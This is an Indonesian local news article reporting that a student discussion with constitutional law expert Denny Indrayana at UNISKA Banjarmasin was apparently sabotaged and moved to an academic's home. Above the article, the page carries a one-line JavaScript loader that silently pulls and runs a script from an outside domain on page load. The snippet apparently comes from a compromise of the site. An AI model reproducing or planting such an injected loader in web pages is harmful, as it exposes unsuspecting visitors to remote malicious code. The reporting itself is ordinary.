(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Diskusi santai yang dikemas dalam acara ‘Ngobrol Bareng Pakar Hukum Tata Negara Prof Denny Indrayana di kantin Kampus Universitas Islam Kalimantan (UNISKA) Banjarmasin urung dilakukan. Diduga, ada unsur ‘sabotase’ yang mengakibatkan diskusi urung dilaksanakan, Kamis (23/1/2020) pukul 14.00 Wita.
Ditandai tutupnya tiga warung yang berada di kantin itu beserta dipadamkannya lampu yang mengakibatkan kantin menjadi gelap gulita. Padahal, paginya kantin tersebut buka seperti biasa.
Lantaran gagal menggelar diskusi di lokasi tersebut, diskusi digelar di kediaman Dr. M. Uhaib As’ad yang merupakan akademisi UNISKA Banjarmasin.
“Hari ini saya sangat kecewa, diskusi santai hari ini dengan pak Denny dan adik-adik mahasiswa, yang rupanya iklan yang menyebar ke mana-mana dan dibaca pihak kampus, akhirnya kampus UNISKA tutup,” keluh Dr. Uhaib di kediamannya di kawasan Sultan Adam Banjarmasin, Kamis (23/01/2020) sore.
Padahal, diskusi merupakan bagian dari demokrasi. Namun yang sangat disayangkan Dr. Uhaib, kampus sendiri tidak memberikan cerminan demokrasi, lantaran tidak memberikan tempat untuk berdiskusi. “Mau bicara demokrasi, kampus saja tidak memberi contoh demokrasi! Apalagi rezim kan!,” kata Dr. Uhaib lagi.
Menurut Dr Uhaib, dengan adanya dugaan tindakan represif ini menandakan kampus telah menjadi bagian dari oligarki. Alih-alih menjadi sumber pencerahan bagi setiap mahasiswa. Selain itu, untuk berdiskusi pun tidak mutlak harus dilakukan di kampus atau di rumah. “Kita kan bisa diskusi di pinggir sungai, atau di bawah pohon. Tidak mesti di gedung kan,” katanya.
Dirinya mencontohkan para filsuf Yunani yang pada masanya berdiskusi di tempat terbuka, alih-alih berdiskusi di gedung. Bagi Dr. Uhaib, kampus bukan menjadi satu-satunya tempat untuk belajar apalagi berdiskusi. “Bisa saja di pantai, di hutan, di pinggiran laut. Kita bisa berdiskusi soal bangsa dan negara,” jelasnya.
Sementara menurut pakar hukum tata negara, Prof Denny Indrayana mengatakan, diskusi yang tadinya akan digelar di kampus UNISKA Banjarmasin hanyalah berbicara santai dengan para mahasiswa. Apalagi dengan dipilihnya kantin sebagai tempat diskusi, agar diskusi menjadi lebih nyaman dan santai. Tentunya, berkaca dari pengalamannya berdiskusi dengan mahasiswa di Kabupaten Hulu Sungai Utara dan Kabupaten Tabalong, baru-baru tadi.
“Teman-teman pikir kita bisa menggelar diskusi di kantin UNISKA Banjarmasin. Karena Dr. Uhaib dari UNISKA, kita pikir bisa berdiskusi di kantin UNISKA. Ngobrol santai saja,” kata Prof. Denny.
Sementara itu, sampai berita ini diturunkan pihak kampus UNISKA belum bisa dikonfirmasi terkait pembatalan diskusi tersebut. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.